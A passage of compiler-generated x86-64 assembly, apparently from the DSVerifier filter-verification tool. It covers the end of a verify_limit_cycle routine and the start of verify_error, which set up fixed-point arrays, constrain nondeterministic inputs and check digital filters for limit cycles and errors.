mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -168[rbp], rax
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
mov r14, rax
mov r15d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L989:
cmp rsp, rcx
je .L990
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L989
.L990:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L991
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L991:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -176[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -184[rbp], rax
movsx rax, edx
mov QWORD PTR -256[rbp], rax
mov QWORD PTR -248[rbp], 0
movsx rax, edx
mov QWORD PTR -272[rbp], rax
mov QWORD PTR -264[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L992:
cmp rsp, rcx
je .L993
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L992
.L993:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L994
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L994:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -192[rbp], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -176[rbp]
mov rsi, rax
lea rdi, ds[rip]
call fxp_double_to_fxp_array
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -192[rbp]
mov rsi, rax
lea rdi, ds[rip+808]
call fxp_double_to_fxp_array
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -200[rbp], rax
movsx rax, edx
mov QWORD PTR -288[rbp], rax
mov QWORD PTR -280[rbp], 0
movsx rax, edx
mov QWORD PTR -304[rbp], rax
mov QWORD PTR -296[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L995:
cmp rsp, rcx
je .L996
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L995
.L996:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L997
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L997:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -208[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -216[rbp], rax
movsx rax, edx
mov QWORD PTR -320[rbp], rax
mov QWORD PTR -312[rbp], 0
movsx rax, edx
mov QWORD PTR -336[rbp], rax
mov QWORD PTR -328[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L998:
cmp rsp, rcx
je .L999
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L998
.L999:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1000
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1000:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -160[rbp], rax
mov rax, QWORD PTR impl[rip+16]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -152[rbp], rax
mov rax, QWORD PTR impl[rip+8]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -144[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -136[rbp], rax
movsx rax, edx
mov QWORD PTR -352[rbp], rax
mov QWORD PTR -344[rbp], 0
movsx rax, edx
mov QWORD PTR -368[rbp], rax
mov QWORD PTR -360[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1001:
cmp rsp, rcx
je .L1002
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1001
.L1002:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1003
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1003:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -128[rbp], rax
mov eax, 0
call nondet_int@PLT
mov DWORD PTR -224[rbp], eax
mov eax, DWORD PTR -224[rbp]
cdqe
cmp QWORD PTR -152[rbp], rax
jg .L1004
mov eax, DWORD PTR -224[rbp]
cdqe
cmp QWORD PTR -144[rbp], rax
jl .L1004
mov eax, 1
jmp .L1005
.L1004:
mov eax, 0
.L1005:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov DWORD PTR -228[rbp], 0
jmp .L1006
.L1007:
mov eax, DWORD PTR -224[rbp]
movsx rcx, eax
mov rdx, QWORD PTR -160[rbp]
mov eax, DWORD PTR -228[rbp]
cdqe
mov QWORD PTR [rdx+rax*8], rcx
mov rdx, QWORD PTR -208[rbp]
mov eax, DWORD PTR -228[rbp]
cdqe
mov QWORD PTR [rdx+rax*8], 0
add DWORD PTR -228[rbp], 1
.L1006:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -228[rbp], eax
jl .L1007
mov DWORD PTR -228[rbp], 0
jmp .L1008
.L1009:
mov eax, DWORD PTR -224[rbp]
movsx rcx, eax
mov rdx, QWORD PTR -128[rbp]
mov eax, DWORD PTR -228[rbp]
cdqe
mov QWORD PTR [rdx+rax*8], rcx
add DWORD PTR -228[rbp], 1
.L1008:
mov eax, DWORD PTR ds[rip+1608]
cmp DWORD PTR -228[rbp], eax
jl .L1009
mov DWORD PTR -220[rbp], 0
mov edx, DWORD PTR ds[rip+1608]
mov eax, DWORD PTR ds[rip+800]
cmp edx, eax
cmovge eax, edx
mov DWORD PTR -220[rbp], eax
mov edx, DWORD PTR ds[rip+800]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov QWORD PTR -384[rbp], rax
mov QWORD PTR -376[rbp], 0
movsx rax, edx
mov QWORD PTR -400[rbp], rax
mov QWORD PTR -392[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1010:
cmp rsp, rcx
je .L1011
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1010
.L1011:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1012
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1012:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -112[rbp], rax
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -104[rbp], rax
movsx rax, edx
mov QWORD PTR -416[rbp], rax
mov QWORD PTR -408[rbp], 0
movsx rax, edx
mov QWORD PTR -448[rbp], rax
mov QWORD PTR -440[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1013:
cmp rsp, rdx
je .L1014
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1013
.L1014:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1015
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1015:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -96[rbp], rax
mov eax, DWORD PTR -220[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov QWORD PTR -464[rbp], rdx
mov QWORD PTR -456[rbp], 0
movsx rdx, eax
mov QWORD PTR -480[rbp], rdx
mov QWORD PTR -472[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1016:
cmp rsp, rdx
je .L1017
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1016
.L1017:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1018
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1018:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -220[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -496[rbp], rdx
mov QWORD PTR -488[rbp], 0
movsx rdx, eax
mov QWORD PTR -512[rbp], rdx
mov QWORD PTR -504[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1019:
cmp rsp, rdx
je .L1020
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1019
.L1020:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1021
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1021:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov DWORD PTR -228[rbp], 0
jmp .L1022
.L1025:
mov eax, 0
call nondet_int@PLT
movsx rcx, eax
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -228[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], rcx
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -228[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
cmp QWORD PTR -152[rbp], rax
jg .L1023
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -228[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
cmp QWORD PTR -144[rbp], rax
jl .L1023
mov eax, 1
jmp .L1024
.L1023:
mov eax, 0
.L1024:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov rax, QWORD PTR -112[rbp]
mov edx, DWORD PTR -228[rbp]
movsx rdx, edx
mov rcx, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -228[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], rcx
add DWORD PTR -228[rbp], 1
.L1022:
mov eax, DWORD PTR ds[rip+800]
cmp DWORD PTR -228[rbp], eax
jl .L1025
mov DWORD PTR -228[rbp], 0
jmp .L1026
.L1027:
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -160[rbp]
mov ecx, DWORD PTR -228[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -128[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
mov r8d, DWORD PTR ds[rip+1608]
mov edi, DWORD PTR ds[rip+800]
mov rcx, QWORD PTR -192[rbp]
mov rdx, QWORD PTR -176[rbp]
mov rsi, QWORD PTR -128[rbp]
mov rax, QWORD PTR -112[rbp]
mov r9d, r8d
mov r8d, edi
mov rdi, rax
call fxp_direct_form_1
mov rdx, QWORD PTR -208[rbp]
mov ecx, DWORD PTR -228[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -208[rbp]
mov ecx, DWORD PTR -228[rbp]
movsx rcx, ecx
mov rax, QWORD PTR [rax+rcx*8]
mov rcx, QWORD PTR -112[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
add DWORD PTR -228[rbp], 1
.L1026:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -228[rbp], eax
jl .L1027
mov edx, DWORD PTR X_SIZE_VALUE[rip]
mov rax, QWORD PTR -208[rbp]
mov esi, edx
mov rdi, rax
call fxp_check_persistent_limit_cycle
mov eax, 0
mov rsp, rbx
mov rsp, QWORD PTR -424[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L1029
call __stack_chk_fail@PLT
.L1029:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE132:
.size verify_limit_cycle, .-verify_limit_cycle
.globl verify_error
.type verify_error, @function
verify_error:
.LFB133:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 1352
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -1288[rbp], rax
mov DWORD PTR overflow_mode[rip], 2
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1000[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1031:
cmp rsp, rcx
je .L1032
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1031
.L1032:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1033
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1033:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1008[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1016[rbp], rax
movsx rax, edx
mov r8, rax
mov r9d, 0
movsx rax, edx
mov r10, rax
mov r11d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1034:
cmp rsp, rcx
je .L1035
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1034
.L1035:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1036
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1036:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1024[rbp], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -1008[rbp]
mov rsi, rax
lea rdi, ds[rip]
call fxp_double_to_fxp_array
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -1024[rbp]
mov rsi, rax
lea rdi, ds[rip+808]
call fxp_double_to_fxp_array
mov rax, QWORD PTR impl[rip+16]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -1032[rbp], rax
mov rax, QWORD PTR impl[rip+8]
movq xmm0, rax
call fxp_double_to_fxp
mov QWORD PTR -1040[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1048[rbp], rax
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
mov r14, rax
mov r15d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1037:
cmp rsp, rcx
je .L1038
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1037
.L1038:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1039
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1039:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1056[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1064[rbp], rax
movsx rax, edx
mov QWORD PTR -1104[rbp], rax
mov QWORD PTR -1096[rbp], 0
movsx rax, edx
mov QWORD PTR -1120[rbp], rax
mov QWORD PTR -1112[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1040:
cmp rsp, rcx
je .L1041
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1040
.L1041:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1042
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1042:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1072[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1080[rbp], rax
movsx rax, edx
mov QWORD PTR -1136[rbp], rax
mov QWORD PTR -1128[rbp], 0
movsx rax, edx
mov QWORD PTR -1152[rbp], rax
mov QWORD PTR -1144[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1043:
cmp rsp, rcx
je .L1044
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1043
.L1044:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1045
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1045:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -992[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -984[rbp], rax
movsx rax, edx
mov QWORD PTR -1168[rbp], rax
mov QWORD PTR -1160[rbp], 0
movsx rax, edx
mov QWORD PTR -1184[rbp], rax
mov QWORD PTR -1176[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1046:
cmp rsp, rcx
je .L1047
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1046
.L1047:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1048
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1048:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -976[rbp], rax
mov DWORD PTR -1084[rbp], 0
mov edx, DWORD PTR ds[rip+1608]
mov eax, DWORD PTR ds[rip+800]
cmp edx, eax
cmovge eax, edx
mov DWORD PTR -1084[rbp], eax
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -968[rbp], rax
movsx rax, edx
mov QWORD PTR -1200[rbp], rax
mov QWORD PTR -1192[rbp], 0
movsx rax, edx
mov QWORD PTR -1216[rbp], rax
mov QWORD PTR -1208[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1049:
cmp rsp, rcx
je .L1050
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1049
.L1050:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1051
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1051:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -960[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -952[rbp], rax
movsx rax, edx
mov QWORD PTR -1232[rbp], rax
mov QWORD PTR -1224[rbp], 0
movsx rax, edx
mov QWORD PTR -1248[rbp], rax
mov QWORD PTR -1240[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1052:
cmp rsp, rcx
je .L1053
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1052
.L1053:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1054
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1054:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -944[rbp], rax
mov edx, DWORD PTR -1084[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -936[rbp], rax
movsx rax, edx
mov QWORD PTR -1264[rbp], rax
mov QWORD PTR -1256[rbp], 0
movsx rax, edx
mov QWORD PTR -1280[rbp], rax
mov QWORD PTR -1272[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1055:
cmp rsp, rcx
je .L1056
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1055
.L1056:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1057
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1057:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -928[rbp], rax
mov edx, DWORD PTR ds[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -920[rbp], rax
movsx rax, edx
mov QWORD PTR -1312[rbp], rax
mov QWORD PTR -1304[rbp], 0
movsx rax, edx
mov QWORD PTR -1328[rbp], rax
mov QWORD PTR -1320[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1058:
cmp rsp, rdx
je .L1059
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1058
.L1059:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1060
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1060:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -912[rbp], rax
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -904[rbp], rdx
movsx rdx, eax
mov QWORD PTR -1344[rbp], rdx
mov QWORD PTR -1336[rbp], 0
movsx rdx, eax
mov QWORD PTR -1360[rbp], rdx
mov QWORD PTR -1352[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1061:
cmp rsp, rdx
je .L1062
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1061
.L1062:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1063
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1063:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -896[rbp], rax
mov eax, DWORD PTR -1084[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -888[rbp], rdx
movsx rdx, eax
mov QWORD PTR -1376[rbp], rdx
mov QWORD PTR -1368[rbp], 0
movsx rdx, eax
mov QWORD PTR -1392[rbp], rdx
mov QWORD PTR -1384[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1064:
cmp rsp, rdx
je .L1065
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1064
.L1065:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1066
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1066:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -880[rbp], rax
mov DWORD PTR -1088[rbp], 0
jmp .L1067
.L1068:
mov rax, QWORD PTR -960[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
mov rax, QWORD PTR -912[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -1088[rbp], 1
.L1067:
mov eax, DWORD PTR ds[rip+800]
cmp DWORD PTR -1088[rbp], eax
jl .L1068
mov DWORD PTR -1088[rbp], 0
jmp .L1069
.L1070:
mov rax, QWORD PTR -944[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
mov rax, QWORD PTR -896[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -1088[rbp], 1
.L1069:
mov eax, DWORD PTR ds[rip+1608]
cmp DWORD PTR -1088[rbp], eax
jl .L1070
mov DWORD PTR -1088[rbp], 0
jmp .L1071
.L1072:
mov rax, QWORD PTR -928[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
mov rax, QWORD PTR -880[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -1088[rbp], 1
.L1071:
mov eax, DWORD PTR -1088[rbp]
cmp eax, DWORD PTR -1084[rbp]
jl .L1072
mov DWORD PTR -1088[rbp], 0
jmp .L1073
.L1076:
mov rax, QWORD PTR -1056[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], 0
mov eax, 0
call nondet_int@PLT
movsx rcx, eax
mov rax, QWORD PTR -1072[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov QWORD PTR [rax+rdx*8], rcx
mov rax, QWORD PTR -1072[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
cmp QWORD PTR -1032[rbp], rax
jg .L1074
mov rax, QWORD PTR -1072[rbp]
mov edx, DWORD PTR -1088[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
cmp QWORD PTR -1040[rbp], rax
jl .L1074
mov eax, 1
jmp .L1075
.L1074:
mov eax, 0
.L1075:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
